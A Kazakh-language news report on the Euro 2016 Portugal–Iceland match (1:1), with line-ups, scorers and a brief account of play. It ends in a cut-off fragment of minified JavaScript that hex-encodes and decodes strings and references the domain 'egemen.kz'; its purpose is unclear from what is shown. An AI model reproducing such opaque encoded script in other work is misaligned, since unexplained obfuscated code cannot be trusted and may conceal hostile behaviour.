Fýtboldan Eýropa chempıonatynyń F tobynda óner kórsetetin Portýgalııa men Islandııa qurama komandalary Sent-Eten qalasyndaǵy «Joffrýa Gıshar» stadıonynda kezdesti. Match 1:1 esebimen teń aıaqtaldy.
Portýgalııa – Islandııa 1:1
Portýgalııa: Rýı Patrısıý, Vıeırınıa, Pepe, Rıkardý Karvalıý, Rafael Gerreıro, Danılý Pereıra, Joaý Marıý (Rıkardý Kýarejma 76), Andre Gomısh (Eder 84), Joaý Moýtınıý (Renatý Sanshesh 71), Lýısh Nanı, Krıshtıaný Ronaldý
Islandııa: Hannes Hadldoýrsson, Bırkır Saıvarsson, Ragnar Sıgýrdsson, Karı Arnason, Arı Skýlason, Aron Gýnnarsson, Gılfı Sıgýrdsson, Iohann Gýdmýndsson (Teodor Bıarnason 90), Bırkır Bıarnason, Kolbeınn Sıgtorsson, Ion Bıodvarsson
Goldar: Lýısh Nanı 31 – Bırkır Bıarnason 50
Eýropa chempıonatynda taǵy bir kútpegen jaıt oryn aldy. Jankúıerler Krıshtıaný Ronaldý bastaǵan Portýgalııa quramasynyń jeńisine senimdi edi, alaıda Islandııa óziniń osal emestigin kórsetti. Azýly komandamen teń túsip, aıdy aspannan shyǵardy.
Kezdesý barysynda Hannes Hadldoýrssonnyń qaqpasyna birneshe qaýipti shabýyl jasaldy. Lýısh Nanı, Krıshtıaný Ronaldý, Rıkardý Kýarejma syndy fýtbolshylar der kezinde soqqylar jasaǵanymen, qarsylas qaqpadan sańylaý taba almady.
Matchtyń 30-mınýtynda Lýısh Nanıdiń soqqan goly Portýgalııanyń bir upaı alýyna ǵana septigi tıdi. Sebebi, saýatty qorǵanyp, shabýylǵa ýaqytynda shyǵyp júrgen Islandııa quramasy 50-mınýtta Bırkır Bıarnasonnyń kómegimen tarazy basyn teńestirip ketti. Osydan keıin gol soǵylar sátter kóp bolǵanymen, tablodaǵy esep ózgerissiz qaldy.
Aıan Ábdýálı.
Foto, vıdeo: vk.com.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "egemen.kz"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e